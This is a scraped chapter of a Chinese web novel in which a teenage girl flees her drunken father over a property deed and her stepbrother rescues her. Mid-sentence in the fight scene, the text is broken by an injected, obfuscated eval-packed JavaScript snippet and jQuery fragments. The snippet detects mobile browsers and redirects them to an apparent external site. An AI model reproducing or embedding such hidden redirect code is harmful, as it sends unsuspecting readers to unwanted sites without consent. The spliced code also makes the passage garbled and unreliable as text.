8. 失重

作品:《妹妹,但想当嫂子

    “啪!”


    把矿泉水瓶重重拍到柜台上,蓝柯呲牙咧嘴怼着风扇降温。


    “柯柯,你怎么这么晚才回来?”看她满头汗,岑溪忙抽了几张纸帮忙擦脸。


    被问的头一缩,蓝柯擤了擤鼻子,干笑两声回,“…没,忘时间了。”


    总不能说去偷偷扎人轮胎了吧。


    ……


    肯德基事件以蓝柯报复回去为由不了了之,她也没再向蓝羡之问过什么,只是自己有点动摇了,动摇还要不要留在他身边当拖油瓶。


    决定要走那天蓝柯很干脆,收拾完行李就跟蓝羡之发消息了,【你今晚早点回家呗,我有事儿跟你说。】


    那边没立刻回复,焦灼等了半小时,手机突然震动,【怎么,又背着我干什么了。】


    【少瞎揣测人,就一点小事。】删改好几次,蓝柯随便找了个理由搪塞过去,只让他快点回来。


    起身打开冰箱,见还有肉菜,她长舒一口气,“还好。”在这儿白吃白喝一年,都最后一顿了,总不能还让蓝羡之解决。


    晚上八点,三菜一汤准时上桌,蓝柯坐凳子上等人,正斟酌着怎么跟他讲要走的事,门突然被打开。


    打了个招呼,两人跟往常一样无言吃饭。


    一顿饭下来,蓝柯吃得食不知味,净往对面瞟了,直到等蓝羡之洗完碗出来,她还一直想着该怎么开口。


    胸口发闷,蓝柯起身把窗户打开。


    一大股风猛地灌进来,她深吸一口气叫住蓝羡之。


    回来前就发消息说有事,扯了节纸擦手,蓝羡之就近坐下,饶有兴致勾唇,“说吧,还特意做顿饭,看来是有大事求我。”


    钟表在客厅闷窣窣走着,蓝柯咬紧唇,嘴里话几度提到嗓子眼,最后还是开口,“我高中想回我爸那。”


    话落下的一分钟里,没人理她。


    以为蓝羡之没听到,蓝柯再次重复,“我跟陈平已经商量好了,以后准备回家住。”


    “蓝柯,你脑子进水了?滚回去睡觉,别让我骂你。”声线比刚沉不少,蓝羡之喝了口水起身,准备回房。


    见又快没了商量的余地,蓝柯急急喊他,“我脑子没进水,我就是不想跟你住了。”


    像是听到了什么荒唐话,蓝羡之拧紧眉头,又气又好笑,“蓝柯,你搞搞清楚,当初是谁非要跟着谁。”


    “对啊,所以我主动走。”


    蓝羡之现在面色阴沉,也懒得再跟她吵,索性回了房里,一把掀开被子要睡觉,可刚躺下没五分钟,蓝柯就进来了,要把他从床上拉起来。


    “喂,你起来下,我话还没说完。”


    说着,看蓝羡之不理她,她从口袋拿了张银行卡出来,自顾自放到床头柜,“你拿着吧,我走了。”


    又是一阵沉默。


    过了会儿,听到身边没了动静,蓝羡之把盖着眼睛的手移开,直起身往外看。


    门口滚轮声渐远,起身,他这才发现蓝柯已经收拾好东西准备走了。


    气得下颌绷紧,蓝羡之径直走过去,咬着牙把她拎回来,“白眼狼,滚回去睡觉。”


    “我不……”蓝柯手里死死攥着行李箱,梗着脖子不愿意看他。


    两人就这么僵持着。


    过了会,见蓝柯睫毛煽动像要哭,蓝羡之卸了点力,放缓语气问,“想回去可以,原因呢,跟我说实话。”


    “没什么原因。”趁机挣脱开桎梏,她提着行李箱转身要走。


    蓝柯房门半敞着,往里看了眼,见东西被搬的一干二净,蓝羡之没忍不住低骂,“蓝柯,我再说最后一遍,你今天出了这个门,以后就别想回来。”


    “…知道了。”


    站在门口,蓝柯突然觉得脚边的门槛像个双面刀,怎么走都扎人,过了半晌,她慢慢走下楼。


    陈平那位置偏,加上时间不早了,她索性在旅馆住了一宿,等第二天才回去。


    隔天敲完门,陈平混浊无神的眼睛猛然睁大,要迎她进来,“小柯,你回来了。”


    沉默点了点头,蓝柯往里看。


    家里几乎没什么变化,也对,陈平天天往外跑,哪有时间弄乱。


    房间猛一打眼看是收拾好了,但灰味很重,本想再打扫打扫,但头又疼,蓝柯只好把床单被罩抽出来铺好就直接睡觉了。


    日子重复过着。


    陈平除了她回来第一天下过厨,其他时候大多在外面,一开始,他还装模作样找找工作,但这几天也不装了,每天昏沉过着,次次回来都一身酒味。


    有点受不了了,蓝柯也不想再忍,就又去了他屋里一次。


    陈平这人早就无药可救了,早不管她晚不管,突然来这么一遭献殷勤,肯定是有事。


    “柜子里没有,衣服兜里也找过了……”嘴里喃喃,思忖着,蓝柯抬起床板准备看看。


    蓦地,一本薄薄的红皮本子出现在眼前,急急打开看了眼,见上面赫然写着自己的名字,蓝柯松了口气。


    猜的果然没错,真是黄鼠狼给鸡拜年。


    去年蓝柯就听人说她家这片要拆迁,她还不信,这次猛地被陈平叫回来,她就知道是怎么回事了,房产证只写了她的名字,不属于夫妻共同财产,这样一来陈平分不到一分钱。


    怪不得一直喊她回来。


    赶紧把卧室恢复原状,蓝柯揣紧房产证准备回房收拾东西。


    前几天跟隔壁打听过,这边再过几个月就会拆迁,实在不行她先兼职攒攒住宿费,拆迁款差不多有个十一二万,等下来,供她上完高中应该不成问题,这样一来,应该还能省下一笔给蓝羡之。


    ……


    蓝羡之。


    也不知道他怎么样了。


    思绪神游几秒,蓝柯摇了摇头回房,可刚收好东西,身后突然响起一道男音,“小柯?”


    陈平这会儿脸通红,瞪大眼睛盯着她。


    握着手机的手一紧,她差点惊呼出声,等侧头看到书包拉链已经拉好,蓝柯这才稳住。


    他这会喝高了,估计只是虚喊她两声,嗯了声,她没再多说。


    照常吃完饭,蓝柯等着晚上降临,凌晨一点多,确认隔壁的人已经熟睡,她蹑手蹑脚离开,这边地方偏,加上还拎着个行李箱,晚上真不一定打得到车。


    划了划手机看时间,蓝柯准备先去公交车站等。


    可刚坐下,自己书包带突然被拽了拽,再抬眼,陈平一副醉醺醺模样站在她面前,语气蛮横,“大晚上的准备去哪?还跑?”


    瞳孔猛地睁大,蓝柯的瞌睡都被吓得无影无踪。


    到底是年纪不大,她这会说话都磕巴了,颤颤问,“……什么?”


    天高地阔,这会连说话都带着点回音。


    蓝柯愣了几秒,见陈平还没反应过来,拔腿就跑,连行李都没顾,可惜这边太空旷,连躲的地方都没有,挣扎一段路,她很快被身后人抓住。


    陈平估计是还没醒酒,鼻子重重喘着粗气,东歪西倒才把她掉地上的书包捡起来,“我说今天怎么一惊一乍的…”


    “陈柯,敢在老子眼皮底下跑!你就不怕被我逮到?”骂骂咧咧找出房产证,他翻了翻嗤她,“想要拆迁款?行!今天谁都别想要。”


    “你撕……房产证上只要是我名字,怎样都能补办。”鬓角旁的碎发被汗浸湿,蓝柯蜷在地上瞪他,话断续着还带了点哭腔。


    刚被推狠了,她现在动一下浑身都跟撕裂一样疼。


    见状,陈平哂笑两声,攥着手里的红本走近,“陈柯,你知道我为什么不喜欢你吗,因为你就跟你那个妈一样,触人霉——”


    “头”的音还没完全发出,蓝柯的报警键还未按下,身后陡然传来道吃痛声。


    蓝柯怔怔偏头,在看到蓝羡之那刻,她大脑嗡了声像要宕机。


    陈平常年酗酒身体本来就不怎么好,威胁威胁蓝柯可能还好使,但对上蓝羡之就有点相形见绌了,这会被拽着领子,他拼了命想反抗,奈何力量悬殊。


    几番挣脱无果,陈平面上有点挂不住,急赤白脸出声,“你谁?大半夜管别人家务事。”


    “她哥。”


    话落,回应蓝羡之的是一声讥诮的嘲讽,“你?”


    “你是他哥?”


    “喂,识相点就赶紧滚,你以为她是什么好人,我告诉你,她就是个丧门星,她出生那天她妈难产——”


    没等陈平说完,蓝羡之操起他人,上去就是一拳。


    他起势又暴又冲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198020|181205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,加上没收着力,陈平受完那下,感觉左边的牙齿都散了,嘴里全是腥味,往地上吐了口血水,他气急败坏拎着拳头要还回去。


    可手刚抬起来,蓝羡之就重新把他胳膊拽住。


    臊眉耷眼把人踢到墙边,像在看一滩烂泥,他毫不顾及又挥了几拳上去。


    饶是再迟钝,蓝柯这会也反应过来了,看着墙角奄奄躺着的人,她后脊一阵凉,也顾不上什么疼不疼的了,只支着腿站起来去拦人,“别!”


    陈平是什么样她最了解,这会被打成这样,明天不知道要怎么讹蓝羡之。


    被这么一拦,蓝羡之眼神漆凉,只字不发定在原地。


    过了会,陈平跑了。


    等冷静下来,他视线扫过蓝柯,上下看了看,见没擦伤,这才放心下来,接过她书包往回走。


    走了段路,看没人跟上来,蓝羡之回头,唇角小幅度扯了扯,“地上有钱?”


    夜半的天漆黑,只剩前面路灯泛着微弱的光。


    扭捏片刻,蓝柯没再挣扎,如实回:“我脚好像崴了。”


    快步转回去,蓝羡之把她裤腿往上扯了扯,这才发现蓝柯脚腕早就肿得不成样子。


    大晚上的,去哪找药。


    叹了口气,见她站在台阶上,他弯腰蹲下,“上来。”


    低低的男音把蓝柯从混沌中抽出来,咬唇勒紧蓝羡之脖子,她看向前方。


    等过了几分钟走稳,蓝柯把房产证的事解释给他,随后闷闷出声,“对不起。”


    听着,蓝羡之快被气笑,“那你要是猜错,房产证上没写你的名呢?”


    “那我也不会待他那的,我已经想好了,实在不行,就去投奔我舅舅,他嫌可怜应该也会我收养我一段时间,等开学,我就——”


    “就去哪?要饭?”打断她话,他垂眼盯着地面,“你去扎人轮胎了?”


    勒着脖子的手一紧,蓝柯下意识反问,“你怎么知道?”


    怪不得。


    蓝羡之摇了摇头,想起前两天在朋友圈找扎轮胎人的家长,又想起肯德基外面那抹熟悉的身影。


    “竞赛我重新报名了。”


    “真的?”


    察觉蓝柯激动得腿一蹬,蓝羡之无奈把人箍紧,“还有,下次少想东想西,二中考上就报,那点钱我还是掏得起的,我这段时间忙、没空竞赛是因为要搬家,懂吗?”


    蓝柯一直住储物间也不是问题,搬得离学校近点,两人都方便。


    但他嘴上倒没这么说,“我改善自己居住环境怎么了。”


    话落,蓝柯有点眼热,沉默着没再讲话。


    两人无声往前走着,蓦地,蓝羡之又出声,“下次老老实实待家里,听懂没?不该操心的就别操心。”


    本想说她不是谁的拖累,但嫌矫情,他还是没说出口。


    车祸那天,蓝羡之跟蓝程朗吵架闹挺僵,就故意窝在网吧打游戏气他,当时蓝柯好几个电话过来,他有几个没听见,有几个确实故意没接。


    后来得知消息跑去医院,说一点感觉没有肯定是假的,毕竟那是他爸。


    刚开始几天,蓝羡之跟蓝柯一样,觉得人生没什么盼头了。


    直到那天焦头烂额去警局捞她,看见她要被人打,蓝羡之心说算了,多一个人过也是过,结果她又谈恋爱又被骗,再去警察局抓她的时候,他恼火得不行。


    可那那晚看见门里塞的纸条,还有睡着突然攥紧他的手,蓝羡之像是被轻轻挠了下。


    “喂,谢谢。”


    思绪乱飘着,他下意识回了句,“什么?”


    “哥,谢谢。”


    “什么?”


    “我说谢谢。”


    “什么。”


    反应过来被逗弄,蓝柯拿手掐了下他胳膊,可刚觉得要解气,蓦地,蓝羡之握着腿窝把她整个人往上颠了颠,“老实点。”


    瞬间袭来的失重感让蓝柯心中一惊,也如他愿安分下来。


    等过了会,百无聊赖之际,她像喝了假酒开始胡言乱语。


    “……哥。”


    “嗯?”


    “哥——”


    “哥————”


    “哥!”


    蓝羡之:“……”